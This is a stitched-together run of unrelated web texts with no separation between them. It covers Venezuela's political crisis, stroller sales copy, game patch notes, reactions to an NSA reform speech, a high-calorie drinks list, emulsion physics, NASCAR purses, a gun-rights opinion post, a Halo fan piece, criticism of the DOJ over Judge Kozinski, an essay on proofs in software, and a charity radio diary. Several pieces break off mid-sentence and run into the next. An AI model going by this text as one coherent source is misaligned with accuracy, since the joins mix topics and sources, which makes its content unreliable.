Tumblr linkedin stumble Digg reddit Newsvine Permalink https://p.dw.com/p/1Iqg4 Venezuela: Tear gas against protesters Earlier in the week, Maduro said he had called the military exercises scheduled for Friday and Saturday to ready the oil-rich country against an impending US invasion. The emergency powers give the military and Socialist party militia sweeping powers to impose public order and distribute food. The Supreme Court ruled on Thursday that the emergency powers were constitutional "given the extraordinary social, economic, political, natural and ecological circumstances that are gravely affecting the national economy." The opposition, which controls the legislature, has rejected the decree and pressed on with calls for the country's electoral body to recognize a petition that gained enough signatures to call a referendum against Maduro. Polls show some 70 percent of Venezuelans want Maduro to step down. Opposition leader Henrique Capriles has called on the army turn against Maduro and for the public to defy the state of emergency. National Assembly speaker Henry Ramos Allup said on Wednesday the government needed to come to the table to reach a peaceful end of the crisis. "We don't want a bloodbath or a coup d'etat," he said. The dual economic and political crisis has reached such a boiling point that the US intelligence community last week assessed Venezuela could face massive social upheaval and revolt as even the most basic of goods run out. Meanwhile, political stalemate has drawn in international mediators to diffuse what former Spanish prime minister Jose Luis Rodriguez Zapatero called "a long, hard and difficult path." Zapatero is leading a team of mediators including the former presidents of Panama and the Dominican Republic, Martin Torrijos and Leonel Fernandez. They met with Capriles on Thursday after holding talks with Maduro. Jose Luis Rodriguez Zapatero (R) is mediating in Caracus. The Organization of American States (OAS) is also being drawn in. The Venezuelan National Assembly on Thursday asked the regional body to act "before it is too late." In a letter to OAS Secretary General Luis Almagro, the opposition-controlled legislature urged him to intervene given "the process of dismantling democratic institutions and to prevent the humanitarian crisis from worsening in health and food as well as exponentially increasing the risk of violence." cw/rc (AFP, dpa)Reviews / Q&A's Baby Jogger strollers are set by MAP (Minimum Advertised Pricing). We aim to provide our customers with the lowest pricing and best customer experience.We wish we could. American retailers are forbidden from shipping their strollers to locations outside of the US. Our hundreds of international customers ship their orders to friends/relatives in the States and then have them forward it to them. Apparently, they still save that way.One ideal place for the City Select is New York City, or any big city, because it’s a real classy stroller that maneuvers great and won’t have to be folded too much to go in and out of a car, which can be hard doing multiple times a day with a City Select. The stroller is great for those who prefer walking, and the frame is exceptionally durable over any terrain.The City Select strollers, as all strollers do, tend to go on sale a few months before a new model is expected to come out. Baby Jogger does not necessarily introduce a new model every year, but it’s worth listening out to what’s coming to know whether to hold off on buying or not.The City Select weighs 28 lbs, which is pretty reasonable for a full-size single stroller.The dimensions of the box of a Baby Jogger City Select is 22" x 11" x 28" and weighs 34 lbs. Add 5 lbs if there is a second seat included.New content: New factions! The final factions have been added, the Arashi League and Yesha Empire. Each come with their own ship, gun, and cosmetics that are waiting to be unlocked. Ship: Arashi Stormbreaker. An extremely agile ship to weave in and out of combat with ease. It may not be the fastest or the toughest, but with the right pilot and crew it’ll be a hard target to chase down while packing a massive punch. Gun: Immortal Gaze Heavy Accelerator. Put together from the scraps buried beneath the sand, the Arashi have harnessed a mysterious and devastating power in the form of a new heavy gun. Hold down to charge its power and tear through armor and components. Ship: Yeshan Judgement. A powerful ship with a primary and secondary heavy gun ready for dishing out significant damage from afar. A skillful pilot will be able to train the majority of the ship’s guns on enemies, but beware a spread out component layout. Gun: Roaring Tiger Heavy Detonator. Exacting control are strong Yeshan characteristics that have even carried through to their weaponry. Launch powerful bombs into the air that can be detonated mid-flight with the alt fire button. Each bomb explodes 4 times! Game Mode: Blockade. Control the skies in this high-octane struggle between the defence of your faction's refineries against bomber ships & repelling skirmisher attacks from the enemy fleet! New General Weapon: Nemesis Heavy Carronade. The robust cousin of its class, the Nemesis harks back to times when naval warfare reigned supreme. Its classic cannonball slug is a key ingredient to the power of this ordinance. New PvP Map: Misty Mutiny. Take the fight of the skies to an exotic and alluring landscape woven together by nature and civilization. Use the cover of the misty environment to make your strike, carry out an assault in formation in the open valleys, or dig in your heels and unleash a maelstrom of your payload! New Alliance Class progression: Each class has an additional achievement that unlocks new cosmetic items! Unlock victory poses, repair tool skins, and ship decals to use across any class while you play! Gunner Unlock: New Victory Pose. The language of victory is a glorious demonstration of your prowess and clever strategic skills in the battlefield. Show your foes your pride in this accomplishment with new victory pose selections! Engineer Unlock: New Engineer Tool Skin. Trade is on the rise and with it new gear for prospecting engineers looking to put out fires with exquisite taste. Golden Chemical Sprays are now an available tool option, show some class in tools you use with mastery. Pilot Unlock: New Decal. Stand tall amongst your adversaries with your own vessel’s ensign. A symbol of the loyalty and commitment to your faction and your cause Changes: War has changed the world… strong borders can been erected where battles wrought the most devastation. Seek new alliances, face new challanges for an unknown future... All daily login rewards now include coins. Adjusted faction colors for colorblindness Added vignette to World Map Tempest projectile performance improvements Boss particles on guns tweaks Better inflow for'solo' players Matched map icons for blockade to loading screen and sidebar Enemy faction is now randomized when rematching in the same lobby Fixes:Unconvinced. Photo by Bill Pugliano/Getty Images No one in politics would admit it if President Obama’s NSA reform speech changed his mind. Who’d have the ego and judgment to win office, then be spun by 60 minutes of heavily lawyered and vetted speechifying? Nobody. This has lent a sort of predictability to the reactions to Obama’s speech, starting with the people who’ve never doubted the program. Got off phone w/ @RepPeteKing, he tells me he doesn’t think changes are necessary but is fine with them. says Obama kept “99%” of programs — Seung Min Kim (@seungminkim) January 17, 2014 Michigan Rep. Justin Amash, who’s working to pass a version of the NSA restrictions that he almost passed in 2013, was unimpressed. Nothing the President said today will end the unconstitutional invasion of Americans’ privacy. The President said he will not end the Patriot Act’s Sec. 215 program that collects the records of every phone call every American makes. Instead, he said that the government will continue to search those records without a warrant—but just a little less vigorously. The President said that when the government issues a subpoena to an Internet service provider for an American’s records, the government still can impose a permanent gag order on the ISP—but just when the government “demonstrates a real need for further secrecy.” The President said that the era of secret law will continue, that the court decisions that have contorted Congress’s limits on surveillance into broad authorizations will remain secret—but the intelligence officials who have executed mass surveillance and lied to Congress will, in their discretion, release some of the rulings as they see fit. Kentucky Sen. Rand Paul, who’s building a civil suit against the NSA (via signups to his RAND PAC), kept himself in the NSA discussion by tweeting a photo of himself watching the speech. Like Amash, he reacted by stressing the need for an “aye” vote on his current legislation. The Fourth Amendment requires an individualized warrant based on probable cause before the government can search phone records and e-mails. President Obama’s announced solution to the NSA spying controversy is the same unconstitutional program with a new configuration. I intend to continue the fight to restore Americans rights through my Fourth Amendment Restoration Act and my legal challenge against the NSA. The American people should not expect the fox to guard the hen house. Smart of both men to talk about Congress’s role. The speech had multiple audiences—an international audience that’s now reading headlines about the NSA being “curbed,” the national security state that has been demoralized for the better part of a year, and the left of the Democratic party, to name a few. If the White House pleased all three groups, it can afford to alienate a few powerful libertarians. Earlier this morning, actually, Democrats were passing around a clip from Paul’s pre-speech appearance on Fox News’ On the Record. The part they liked: The danger to majority rule to him sort of thinking the majority voted for me now I’m the majority, I can do whatever I want and that there are no rules that restrain me. That’s what gave us Jim Crow. That’s what gave us the internment of the Japanese that the majority said you don’t have individual rights and individual rights don’t come by creator and not guaranteed by the constitution just whatever the majority wants. That’s an argument the White House is comfortable dismissing, as it tries to keep just enough members of Congress on the reservation to slow down or stop any legislative reforms to the spy programs.Today I’m going to illuminate you on 5 drinks that you may have thought were bad….but had no idea they were this bad. Almost all of these drinks are worse for you than any sandwich you can order at McDonalds and what’s worse is that most people don’t consider these that bad. If you thought that Latte you were drinking was a “Skinny Latte” you might just find out that it has more fat in it than a Big Mac. So We’re going to start out this list with an American favorite Starbucks. Runner Up Starbucks Venti 2% Peppermint White Chocolate Mocha 660 Calories 22g fat (14 g saturated) 95 g Sugar Any drink with this long of a name is bound to be bad for you. If it takes you two minutes to order your drink it will take you 2 hours to work it off. Number 5 Baskin Robbins Pomegranate Banana Fruit Blast Smoothie 1,020 Calories 232 g Sugar Smoothies are supposed to be healthy for you people! The second ingredient in this drink is sugar which makes you wonder how little fruit is actually in the drink. Why on earth would anyone order this!? You know why? Because it’s absolutely delicious isn’t it? Number 4 Cosi Gigante Double OH! Arctic 1,033 Calories 35 g Fat 177 g Carbs Only the Double Quarter Pounder with cheese has more fat in it. Do I really need to say more? Number 3 Jamba Juice Peanut Butter Moo’d Power Smoothie 1,170 Calories 169 g Sugar This is really more of a milkshake rather than a smoothie. This drink has more sugar in than 12 King Size 3 Musketeers bars. I’m pretty sure this is the drink that Oprah drinks when she magically gains 30 pounds. Number 2 Baskin Robbins Large York Peppermint Pattie Shake 2,210 Calories 103 g Fat (57 g Saturated) 281 g Sugar This drink is officially the most sugar saturated drink in America and probably the world. You would have to eat 9 Chocolate Frosted Donuts at Dunkin Donuts to equal the calories in this behemoth. Number 1 And the Worst Drink in America is…. Baskin Robbins Large Heath Bar Shake 2,310 Calories 108 g Fat (64 g Saturated) 266 g Sugar You just kind of need to stand back to appreciate this one. This drink is an entire days worth of calories, two days of fat, and enough sugar to jump-start Rosie Odonnell’s heart. There should be a health warning and an age restriction on this drink.New York University physicists have developed a method that models biological cell-to-cell adhesion that could also have industrial applications. This system, created in the laboratory of Jasna Brujić, an assistant professor in NYU's Department of Physics and part of its Center for Soft Matter Research, is an oil-in-water solution whose surface properties reproduce those found on biological cells. Specifically, adhesion between compressed oil droplets mimics the mechanical properties of tissues and opens the path to numerous practical applications, ranging from biocompatible cosmetics to artificial tissue engineering. Their method is described in the journal the Proceedings of the National Academy of Sciences. Previously, Brujić's laboratory has determined how spheres pack and devised methods for manipulating the packing process. In this PNAS study, Brujić and her research team sought to create a method that would address the role of packing in tissues from the point of view of how mechanical forces affect protein-protein adhesion between cells. In biology, cell-to-cell adhesion is crucial to the integrity of tissue structure -- cells must come together and stick in order to ensure tissue cohesion. However, the daunting complexity of biological systems has long prevented their description using general theoretical concepts taken from the physical sciences. For this reason, the research team designed an original biomimetic solution, or emulsion, that reproduces the main features of cell-to-cell adhesion in tissues. Emulsions form the basis for a range of consumer products, including butter, ice cream, and milk. In addition, the emulsion in the PNAS study is tuned to match the attractive and repulsive interactions that govern adhesion between cells. The experimental conditions reveal the circumstances under which pushing forces are necessary to create adhesion. By varying the amount of force by which the droplets of oil were compressed by centrifugation and the amount of salt added to this solution, the NYU team was able to isolate the optimal conditions for cell-to-cell adhesion. Screening electrostatic charges by the addition of salt and compressing the droplets by force enhances protein-protein interactions on the droplet surfaces. This leads to adhesion between contacting droplets covering all the interfaces, just as in the case of biological tissues. Their results, which matched the researchers' theoretical modeling of the process, offer a method for
FONTANA, Calif. -- Sprint Cup Series teams appear to be racing for just a little bit less money in 2015 as NASCAR has quietly increased the purses for its two national developmental series while Sprint Cup purses have dropped by a tick this year. NASCAR Chairman Brian France said last year that NASCAR would consider giving Xfinity (formerly Nationwide) Series and Camping World Truck Series teams a bigger portion of the new television deal that went into effect this year. That is what NASCAR has done, although it won't say by how much. It never announced the change, but it did confirm to ESPN.com that that was the case when asked about the change in the purses after the first four races. In comparing the purses for the first four tracks to what the purses for those tracks' races were last year, the only Sprint Cup race to have an increase in purse was the Daytona 500. It certainly wasn't much of an increase at $24,408, virtually nothing (up 0.1 percent) when considering the purse was $19.8 million. The rest have gone down, none by more than $98,000 -- the purses for the three races since Daytona have been between $5 million and $6.5 million -- for an overall season drop of 0.2 percent for the first four races. Editor's Picks Blog: Still making money Attendance may be down, but the three publicly traded corporations that play host to NASCAR races posted nearly $102 million in profits in 2014. Xfinity races, though, are up 9.1 percent with increases of $60,000 to $155,000 per race; Xfinity purses this year generally are $1.1 million-$1.5 million (the opener was $2.66 million). The truck race at Daytona was up 16.4 percent to $806,373, and that was for a 32-truck field instead of a 36-truck field. There was no Atlanta truck race last year with which to compare the earlier purse. "What you will see is that [change] pretty much consistent across the season," NASCAR Vice President Jim Cassidy told ESPN.com Friday at Auto Club Speedway. "It was a great opportunity for the Xfinity Series as well as the trucks to really take a look at the value of those properties in this most recent broadcast arrangement.... We spent a lot of time looking at the business model at all the levels of racing, especially at the three national series. "We understand what it takes for a team to field a car or truck." In previous contracts, NASCAR had put 93.75 percent of its television money toward Cup, 5.75 percent to Xfinity and 0.5 percent to trucks. Those numbers were revealed by Dover International Speedway in a filing with the U.S. Securities and Exchange Commission when it operated non-Cup tracks near Nashville and Memphis in Tennessee and near St. Louis. It appears that the truck purses, which typically ranged from $400,000 to $600,000 last year, got a significant increase as part of the new deal. "It really speaks to the success what this series has done," Cassidy said. "It's still the newest of our three national series and has seen a significant amount of growth over the years. The timing was right to see those [purse] gains." NASCAR is in the first year of a 10-year, $8.2 billion deal in which NASCAR gets 10 percent of the money, the tracks get 65 percent and the teams get 25 percent through the purse (the same as in the past). The increase in the NASCAR television contract this year from last year is 3.8 percent, according to the France-family controlled International Speedway Corporation, and increases will be 3-5 percent each year with an average of 3.9 percent over these next 10 seasons. Not every race is worth the same amount of television money. The Daytona 500 obviously would be the biggest, and the rest often are determined by NASCAR depending on a variety of factors including the market where the race is being held. For the Daytona 500, the television contribution to the purse was up just 0.11 percent and the track/NASCAR contribution was down 1.6 percent. Cassidy said that, overall across all three series, the track contribution to purses has increased this year. The Cup owners knew there wouldn't be an increase in purses this year. Rob Kauffman, Michael Waltrip Racing co-owner and Race Team Alliance chairman, said when asked about the purses in Daytona that he wasn't looking at the race-to-race increases/decreases and expected that purses would be flat in 2015. In the past five years, the typical Daytona 500 purse increase has been somewhere between 1 and 2.5 percent each year. "Everyone has got their budgets for '15; everything is set; we've had good discussions with NASCAR about the TV money, the purses and how it all works," Kauffman said last month at Daytona. "There's nothing surprising for the teams, not for the major teams. "I've only looked at the whole season [projections]. More or less, if you take the TV money and the purse together, that amount is flatish. Over the next couple of years, it will compound at the low single-digit number. For the major teams, you're only talking about 25 percent of your budget or so."0 SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard The right to bear arms is going crazy. People, mostly white males, are carrying rifles everywhere. Their reason? Because if they do not do this, they’ll lose their rights…huh? There is a reason why they call it a right? No government official can take away your rights to have a firearm and since the Constitution does not say you are not allowed to carry in public, state rights allows people to carry in public. The disturbing trend though is, corporations allow people to carry their firearms in their place of business: So why do mostly conservative white males carry? Most common answer…to protect themselves and their loved ones. These gun nuts are staunch advocates of the Second Amendment…or openly quote the Second Amendment as though they are some Constitutional expert, carrying their pocket Constitution with them while marching around with their rifle or shotgun for all to see. Yet, one wonders, would they do the same when people of color do the same? Looking back in history, the Mulford Act was a 1967 California bill prohibiting the public carrying of loaded firearms. Named after Republican assemblyman Don Mulford, the bill garnered national attention after the Black Panthers marched on the California Capitol to protest the bill. The bill was signed to law by Republican Ronald Wilson Reagan. Even though the Republicans wanted to disarm the Panthers, because of the 14th Amendment, everyone was banned from open carry, and California was one a several states that prohibits open carry. Still, it makes you wonder, what would happen if the Tea Party were predominately people of color? Would the conservatives still be adamant in the right to carry? When Mulford wrote the bill the NRA sponsored legislation to have gun control. Again would the conservatives support PoC carrying in Walmart, Home Depot, Toys R Us parks and other areas open to the public? From past history, apparently no. Still, typical of the conservatives logic, everything they do always seem to backfire (no pun intended). What was probably a ban against the Black Panther ended up banning everyone. As a person of color, if I walked into a store with my rifle, would the people call the cops? If my Asian friend from Iran walked to a park with an AK-47 or AR-15, would the police be called? You know, as a possible member of the Taliban or Al Qaeda? Are gun rights for all or is there some limitation? Apparently, Mulford tried to limit the Panthers, but ended up, with the help of Reagan, make this state one of the most gun-controlled state in California…thank goodness. Ironically, under Governor Jerry Brown, I can buy an AR-15 with a 10 round locking magazine or a semi-auto 10 round magazine AK-47. Even funnier, all the bans in California were from Republican governors. Honestly, I’m sort of glad that the RNC in California do want gun control and all of our governors were pro-choice, but it makes one wonder, if the Tea Party with all its glory was a conservative black organization, would the NRA still be this vocal? Gun nuts on the right are saying gun control is racist, because it banned blacks from owning firearms. I respond by saying that the idea of the ban was from a Republican, signed by a Republican but it was a Democrat who made sure either all folks were banned or no ban at all. If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:The Unggoy are the lowliest species existing within the Covenant. Although vicious in groups, they are cowards on their own, and tend to be treated as second class citizens on a good day. After the fall of the Covenant in 2552, their stature did not improve much, though some did find salvation with the Swords of Sanghelios. Blah blah blah blah blah enough about Unggoy history. On this humble Friday, HaloSwallower is here to discuss a very peculiar case of Grunty goodness. If you can remember from Halo 3, the final level spent its latter half in a Warthog run. Those who didn’t feel like reaching the Dawn as Installation 04-B crumbled apart might have stumbled upon a lone Grunt on the side of the deteriorating platform road. And if the bloody Arbiter hadn’t shot the Grunt with the Warthog turret, you might have heard the Grunt say this: Hey, Demon! The Jerk store called, and they’re all out of you! Poor you… stolen at the age of six and constricted into the military, wah! Okay look, if you let me live, I’ve got the Fist of Rukt. Look, I’ll be the bottom. I’ll polish your boots! I’ll polish your helmet! It’s the gas, haha! When I’m on the gas, I don’t know what I’m doing half the time! Now, assuming that the Arbiter doesn’t helpfully shoot him for you before he can even finish his touching speech, we can infer that the Final Grunt perished when Installation 04-B fired and tore itself sort. But what if he survived? The main menu of Halo 5: Guardians has its own Grunt of interest. If you sit idly in the menu, tune into Kazuma Jinnouchi’s spectacular scores for the soundtrack, you may eventually see a single Grunt roll by through space. This Grunt has caused an eruption of speculation from fans. In fact, in a recent Canon Fodder, 343 writer Jeff Easterling gave some insightful hints. When asked how the Grunt fits into canon, Easterling responded with this eternal wisdom: Very carefully, and with a lot of grease. Let’s return to the Final Grunt. Again, provided that he wasn’t killed by the Arbiter, the Grunt probably perished when Installation 04-B exploded. However, there remains a possibility that the Grunt could have been ejected from the catastrophe, launched through the portal, and jettisoned to some random location in space. Where the Forward Unto Dawn ended up within the vicinity of Requiem, the Final Grunt ended up in orbit of the planet appearing in the main menu of Halo 5: Guardians. Dead or alive, he has been doomed to an eternity of rolling through the vacuum with only fans, eager to jump into matchmaking/campaign, to notice him. Next time you kill a Grunt, know your inhumanity. AdvertisementsDOJ Pretty Sure The Problem With The Criminal Justice System Is Everyone Else from the so-many-feelz dept Earlier this year, Judge Alex Kozinski went much further than his one-off comments in judicial opinions to take the prosecutors to task for… well, pretty much everything. The "epidemic of Brady [exonerating evidence] violations" he noted in 2013's USA v. Olsen decision was just the leadoff. Kozinski teed off on faulty forensic evidence (comparing arson "specialists" to "witch doctors"), the way the "first impression" almost always favors prosecutors (who get to present their case first in criminal trials), and the general unreliability of eyewitness testimony, which is often portrayed as infallible when it's the goverment presenting the witnesses. Several months later, the Department of Justice -- home to a great many prosecutors -- has finally responded. And its feelings are terribly hurt. Federal prosecutors, who Judge Kozinski actually described in glowing terms, took offense at the fact they are not considered infallible by the Judge. And in the last few weeks, they have made their hurt feelings known. Andrew Goldsmith, National Criminal Discovery Coordinator at the Department of Justice, and John Walsh, United States Attorney for the District of Colorado, wrote a letter to the Georgetown Law Journal expressing their displeasure with Kozinski’s contribution to the journal. Rather than take the opportunity to join in Kozinki’s call for a more careful justice system, Goldsmith and Walsh demonstrated a stunning lack of awareness about what they do and how often it goes wrong these days. While the preface raises several points that merit discussion, such as the reliability of certain forms of evidence, Judge Kozinski goes too far in casting aspersions on the men and women responsible for the administration of justice in this country. His preface seemed to question not only the integrity of our agents and prosecutors, but also the government’s capacity to self-correct in the (very small) minority of cases when someone falls short. We have both worked with many prosecutors during our combined thirty-three years at the Justice Department. We have served as line prosecutors and supervisors, and now hold positions with national responsibility. Throughout our careers, what has always struck us is the professionalism, integrity, and decency of our colleagues. They care deeply about the work that they do, not because they are trying to rack up convictions or long sentences, but because they seek to ensure that justice is done in each and every case they handle. This extends to the seriousness with which they take their discovery obligations. Our prosecutors comply with these obligations—because they are required to do so and because it is the right thing to do. It is a principle embedded not only in the Department’s internal rules, but in the Department’s culture. At the Department of Justice, we recognize our responsibility to work tirelessly to improve the work that we do, and to enhance the fair administration of justice. Indeed, there are far more cases than the few Kozinski discusses that demonstrate an issue with the prosecution disclosing favorable evidence. And when the evidence comes to light, the DOJ rarely admits to the problem. Instead they argue the evidence wasn’t important, wasn’t available, wasn’t in their specific office, didn’t affect the outcome of the case, or could have been found by the defendant on his own. And the courts are usually cool with any of those arguments. Because once somebody is convicted, the courts hate to unconvict them. [...] They don’t actually deny the problem, they create a decoy argument. Sure, there are probably a lot of prosecutors that work very hard to make sure they meet their obligations. In fact, that is exactly what Kozinski meant when he called them “fair-minded, forthright and highly conscientious.” But that doesn’t mean there aren’t some that aren’t. And the enormous amount of power wielded by prosecutors, and especially federal prosecutors, means there is no minimum number of bad apples we should accept. To be clear, I do think the vast majority of AUSAs are fundamentally good people who are trying to do what they do with integrity. I also think that the vast majority of AUSAs are bright aggressive lawyers who want to win. Federal prosecutors aren’t trained to read rules or facts to give an edge to the other side. They don’t high-five each other for giving someone suspected of a crime the benefit of the doubt. They don’t send at-a-boy emails to their colleagues for the exercise of discretion in favor of leniency. It isn’t a question of whether federal prosecutors are good people; it’s whether these people, trusted with enormous power, are exercising that power in the way they ought. According to this defensive group of prosecutors, Kozinski's "provocative preface" was certainly food for thought for whoever Kozinski was referring to, but not them, because federal prosecutors are upstanding men and women whom the judge has insulted deeply.The problem is, Kozinski is one of a very few judges to question the integrity of prosecutors. And for all the umbrage being hauled in by the semi-truckful, Kozinski was rather restrained when discussingprosecutors. Still, the DOJ cannot sit idly by while someone suggests a few prosecutors don't play by the rules and that the rules themselves are faulty. So, it does what the DOJ always does in these situations: defends the honor of the (not even directly) accused. When the DOJ takes down a local police force for misconduct or abuse, it always makes sure to rub the bellies of the police force at large before getting to the bad stuff.In this case, the bad stuff preceded the defensive statements from the DOJ, which now have to stand alone.And being so good is oh so exhausting.In support of its assertions, the DOJ claims only a small handful of prosecutions have resulted in the courts calling it out for abusive actions. But that does nothing to diminish Kozinski's points. All it does isfrom them, as Fault Lines blogger Josh Kendrick points out Furthermore, even if the DOJ is staffed with the best prosecutors in the nation, they're still there to perform a certain task. The DOJ calls it "justice," but in reality it's to obtain convictions. There's a lot of area between "justice" and "jail sentences," but prosecutors rush across this open ground to obtain the latter. The DOJ doesn't second-guess its actions and if others do, it second-guesses their conclusions.Because of its focus, even the best prosecutors who've never committed a Brady violation in their careers are still part of the problem. And that problem will never be addressed if prosecutors immediately elevate their hackles whenever someone suggests their methodology, tactics or submitted evidence might be questionable. Great people can be great prosecutors and still be part of the problem Kozinski wrote about. The culture (for lack of a better word) doesn't exactly encourage retrospection or restraint, as Above the Law's Matt Kaiser points out This is the situation everywhere, not just at the DOJ. Federal prosecutors are bitterly licking their Kozinski-inflicted paper cuts and failing to see the larger point of his essay. There are problems in the justice system -- some inherent, some more deliberate. But no one on this end of the equation wants to discuss them. It's left to judges to correct prosecutors' misconduct and it just isn't enough. Too many defendants are talked into plea agreements pre-trial or simply dissuaded from challenging their prosecution by the amount of time and money that must be expended in an effort that's far from guaranteed.Misconduct goes ignored by some judges and, in a majority of cases, by the offices these prosecutors work for. Convictions are the goal and prosecutors aren't praised for showing restraint, leniency or anything else but prosecutorial efficiency. Corners will be cut, shaky evidence will be backed by questionable experts, and even the most dubious prosecutions seem to have better than a 50% chance of resulting in a conviction. Why would they change? Their side has a lion's share of the "wins." Filed Under: alex kozinski, andrew goldsmith, criminal justice, doj, prosecutorsIn which the author muses that “semi-formal methods” (that is, non computer-assisted proof writing) should take a more active role in allowing software engineers to communicate with one another. C++0x has a lot of new, whiz-bang features in it, one of which is the atomic operations library. This library has advanced features that enable compiler writers and concurrency library authors to take advantage of a relaxed memory model, resulting in blazingly fast concurrent code. It’s also ridiculously bitchy to get right. The Mathematizing C++ Concurrency project at Cambridge is an example of what happens when you throw formal methods at an exceedingly tricky specification: you find bugs. Lots of them, ranging from slight clarifications to substantive changes. As of a talk Mark Batty gave on Monday there are still open problems: for example, the sequential memory model isn’t actually sequential in all cases. You can consult the Pre-Rapperswil paper §4 for more details. Which brings me to a piercing question: When software engineers want to convince one another that their software is correct, what do they do? This particular question is not about proving software “correct”—skeptics rightly point out that in many cases the concept of “correctness” is ill-defined. Instead, I am asking about communication, along the lines of “I have just written an exceptionally tricky piece of code, and I would now like to convince my coworker that I did it properly.” How do we do this? We don’t. Certainly there are times when the expense of explaining some particular piece of code is not useful. Maybe the vast majority of code we write is like this. And certainly we have mechanisms for “code review.” But the mostly widely practiced form of code review revolves around the patch and frequently is only productive when the original programmer is still around and still remembers how the code works. Having a reviewer read an entire program has been determined to be a frustrating and inordinately difficult thing to do—so instead, we focus on style and local structure and hope no one writes immaculate evil code. Security researchers may review code and look for patterns of use that developers tend to “get wrong” and zero in on them. We do have holistic standards, but they tend towards “it seems to work,” or, if we’re lucky, "it doesn’t break any automated regression tests.” What we have is a critical communication failure. One place to draw inspiration from is that of proof in mathematics. The proof has proven to be an useful tool at communicating mathematical ideas from one person to another, with a certain of rigor to avoid ambiguity and confusion, but not computer-level formality: unlike computer science, mathematicians have only recently begun to formalize proofs for computer consumption. Writing and reading proofs is tough business, but it is the key tool by which knowledge is passed down. Is a program a proof? In short, yes. But it is a proof of the wrong thing: that is, it precisely specifies what the program will do, but subsequently fails to say anything beyond that (like correctness or performance or any number of other intangible qualities.) And furthermore, it is targeted at the computer, not another person. It is one of the reasons why “the specification of the language is the compiler itself” is such a highly unsatisfying answer. Even worse, at some point in time you may have had in your head a mental model of how some dark magic worked, having meticulously worked it out and convinced yourself that it worked. And then you wrote // Black magic: don't touch unless you understand all of this! And then you moved on and the knowledge was lost forever, to be rediscovered by some intrepid soul who arduously reread your code and reconstructed your proof. Give them a bone! And if you haven’t even convinced yourself that the code for your critical section will do the right thing, shame on you! (If your code is simple, it should have been a simple proof. If your code is complicated, you probably got it wrong.) You might argue that this is just the age-old adage “we need more documentation!” But there is a difference: proofs play a fundamentally different role than just documentation. Like programs, they must also be maintained, but their maintenance is not another chore to be done, inessential to the working of your program—rather, it should be considered a critical design exercise for assuring you and your colleagues of that your new feature is theoretically sound. It is stated that good comments say “Why” not “What.” I want to demand rigor now. Rigor does not mean that a proof needs to be in “Greek letters” (that is, written in formal notation)—after all, such language is frequently off putting to those who have not seen it before. But it’s often a good idea, because formal language can capture ideas much more precisely and succinctly than English can. Because programs frequently evolve in their scope and requirements (unlike mathematical proofs), we need unusually good abstractions to make sure we can adjust our proofs. Our proofs about higher level protocols should be able to ignore the low level details of any operation. Instead, they should rely on whatever higher level representation each operation has (whether its pre and post-conditions, denotational semantics, predicative semantics, etc). We shouldn’t assume our abstractions work either (nor should we throw up our hands and say “all abstractions are leaky”): we should prove that they have the properties we think they should have (and also say what properties they don’t have too). Of course, they might end up being the wrong properties, as is often the case in evolutionary software, but often, proof can smoke these misconceptions out.Colin Radio Frequency (#CRF) Colin Greenwood is Global Ambassador of Children's Radio Foundation (#CRF), a charity using radio as a tool to empower young people across Africa. Colin and his CRF producer Sam are both travelling to South Africa to meet some of the talented young people on the projects, take photographs and make some great radio. Japhia Imuri, the University of the Western Cape Wed, 30 January Japhia Umuri, at just 21 years old, has already had a challenging life. His close knit family moved through five countries, from Rwanda, to live in South Africa. He started working with CRF at 16 years old, telling his story through radio. Japhia is currently studying Economics at the University of the Western Cape. Sam and I went to meet Japhia on campus and speaking to him today, he said that he felt a burden lift through being able to tell this story. We spoke to Japhia for a couple of hours and asked him about his aspirations. His reply makes an apt and compelling summary to what has been, for us, an extraordinary enlightening trip. I have seen that something as low-tech and ubiquitous as radio can become a platform for the voices of young people, making them feel unique and special. Thank you to everyone for your interest and continuing support, and thank you to Children's Radio Foundation (pictured below) for showing me what a fantastic future South Africa has through its youth. Moutse Community Radio Station Mon, 28 January See a selection of photographs I took at Moutse Community Radio Station this week, with some of the young people at the station singing a gospel song. Moutse Community Radio Station 96.3 FM - 'Your friend to rely on' Mon, 28 January We drove across some beautiful countryside, from Johannesburg to Moutse in the region of Limpopo. Moutse is a rural area dotted with small townships, set in a sweeping green landscape covered in scrub and low trees. We arrived around 4pm at the radio station and were met by a dozen local children, all wearing their CRF t-shirts and media cards round their necks. After lots of hugs, dances and songs, the plan for that afternoon was to prepare for the live show the next morning. I went with three of the young reporters - Liezel, Busi and Renieilwe - to interview Sylvia, who was wheelchair bound after an accident at work. She lived just down the road from the station, in the local village with dust red roads and crazy wire fences. The children spoke to her with tact and grace, and such enthusiasm for making the story. Sylvia wasn’t able to read, so the children couldn’t write their questions down for her, as they would normally do. Instead, they broke the interview down and rehearsed it with Sylvia until she was comfortable. After the interview, we all nipped back to the station, where the other children had stayed past tea. There was time to finish uploading their audio onto the studio computer, ready for the live show the next morning. I was beginning to realise what a massive time commitment these children have to make in order to produce the programme, on top of their school and helping out at home. Everyone was very excited about the programme and looking forward to the broadcast. The youth trainer and station presenter, Baby Girl, helped the children rehearse their moves, and the stage was set for showtime next morning! On Saturday we got up early and returned to the radio station. As well as her weekly CRF slots, Baby-Girl has a her own three-hour afternoon show, five days a week. The children present every Saturday 8am to 9am. The programme is called ‘Tswadaar' - which translates as 'get out of there' - it’s street slang, and it’s used to encourage youth to get out of situations that aren’t good for them. The show’s slogan is 'Zikhathane Of Another Kind.' Zikhathane - pronounced ‘Ko–Ta–Ne' - is a youth culture in South Africa that celebrates consumption by flaunting cars, designer clothes and cash. The Zikhathane hold dance-offs and compete in bling, even burning their own money. 'Tswadaar' was presented by a boy called Koki and a girl called Sponono, which means ‘beautiful'. The other kids crammed into the studio space, listening fiercely to the show as it went out live. Busi, Liezel and Renielwe’s interview with Sylvia sounded great! Then it was my turn to be interviewed by Koki and Sponono. After the show the team met for a debrief and feedback session. There was lots of support, encouragement and positive criticism. The two presenters, Koki and Sponono, asked the others how the show went. Everyone felt the show had gone well, but that it could’ve been quieter in the studio! Busi, Reneilewe and Liezel - the three girls who interviewed Sylvia - said they found it hard to get her to speak longer than 15 second bursts for the interview, so they had to keep pausing the recorder and rehearse with her. Sponono, 19 years old, talked about her nerves, and said that she’d had a little cry before the show because she was anxious about being the presenter that week. She also mentioned that she had been moved by some of the other children’s reports on disability. On air she was flawless and had asked me a question that I floundered to answer – 'Does being an Ambassador need qualifications?' The children then spoke about how they would like to take this weeks’ topic of disability further, by doing some outreach and having an event where they could play back the audio commentaries and profiles they’d 